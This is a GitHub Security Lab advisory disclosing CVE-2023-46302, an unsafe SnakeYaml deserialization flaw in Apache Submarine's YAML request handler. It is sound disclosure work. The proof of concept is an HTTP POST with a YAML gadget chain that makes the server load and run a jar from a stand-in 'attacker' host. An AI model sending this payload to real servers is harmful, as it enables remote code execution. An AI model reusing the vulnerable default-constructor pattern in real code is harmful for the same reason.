skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
April 3, 2024

GHSL-2023-015: Unsafe deserialization in Apache Submarine - CVE-2023-46302

Jorge Rosillo

Coordinated Disclosure Timeline

Summary

Apache Submarine is vulnerable to unsafe deserialization due to the use of SnakeYaml’s default constructor when parsing user-supplied data.

Product

Submarine

Tested Version

version 0.7.0

Details

Issue: Unsafe deserialization via SnakeYaml in YamlEntityProvider (GHSL-2023-015)

Apache Submarine uses JAXRS to define REST endpoints. In order to handle YAML requests (using application/yaml content-type), it defines a YamlEntityProvider entity provider that will process all incoming YAML requests. In order to unmarshal the request, the readFrom method is invoked, passing the entityStream containing the user-supplied data to Yaml.loadAs:

@Override
  public T readFrom(Class<T> type, Type genericType, Annotation[] annotations,
      MediaType mediaType,
      MultivaluedMap<String, String> httpHeaders, InputStream entityStream)
      throws WebApplicationException {
    Yaml yaml = new Yaml();
    T t = yaml.loadAs(toString(entityStream), type);
    return t;
  }

Even though yaml.loadAs enforces that the provided type matches the type of the yaml data of the request, this check is only done for the overall object, so providing a subtype like the following would be accepted as valid and deserialized:

!!org.apache.submarine.server.api.model.ServeSpec:
    modelName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://attacker/yaml-payload.jar"]]]]

Proof of Concept

In order to exploit this deserialization vulnerability, we can instantiate a javax.script.ScriptEngineManager object with a URLClassLoader argument, which will trigger the constructor. The provided URL points to an attacker-controller server hosting a malicious jar which will execute a command.

POST /api/v1/serve/ HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/yaml
Content-Length: 205

!!org.apache.submarine.server.api.model.ServeSpec:
    modelName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://attacker/yaml-payload.jar"]]]]

Using artsploit/yaml-payload project, we can build the payload, which, when served, can be fetched by the deserialization of the yaml payload.

Impact

This issue may lead to Remote Code Execution

CVE

Credit

This issue was discovered and reported by GHSL team member @jorgectf (Jorge Rosillo).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-015 in any communication regarding this issue.